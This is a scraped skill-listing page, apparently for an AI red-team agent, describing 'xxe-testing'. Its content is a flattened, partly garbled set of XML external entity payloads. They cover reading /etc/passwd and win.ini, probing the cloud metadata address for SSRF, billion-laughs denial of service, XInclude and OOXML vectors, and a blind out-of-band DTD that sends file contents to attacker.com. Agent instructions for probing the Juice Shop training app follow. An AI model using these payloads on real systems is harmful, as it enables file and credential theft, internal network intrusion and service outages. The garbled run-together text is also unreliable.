원클릭으로
xxe-testing
XML external entity injection for file read, SSRF, and DoS
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
XML external entity injection for file read, SSRF, and DoS
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
| name | xxe-testing |
| description | XML external entity injection for file read, SSRF, and DoS |
| origin | RedteamOpencode |
application/xml or text/xml acceptedrun_tool curl (send crafted XML)Content-Type: application/json to application/xml — test if acceptedxml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> file:///C:/windows/win.iniphp://filter/convert.base64-encode/resource=/etc/passwdfile:///etc/ (may work on some parsers)<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">http://localhost:8080/, http://internal-host/xml <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> evil.dtd):
xml <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> %eval; %exfil; xml <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> /dev/random or large file<?xml version="1.0" encoding="UTF-16"?><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/>[Content_Types].xml or embedded XML partsxl/sharedStrings.xmlWhen Juice Shop exposes XML-capable routes or file upload/download flows, do one bounded XXE recall pass before closing the case:
Content-Type: application/xml switch on API endpoints already accepting JSON
only after confirming it stays within the normal 1-2 representative probe budget.XXE Data Access; if parser
behavior is unclear, return REQUEUE with the exact XML-capable endpoint/file consumer
rather than marking the family exhausted.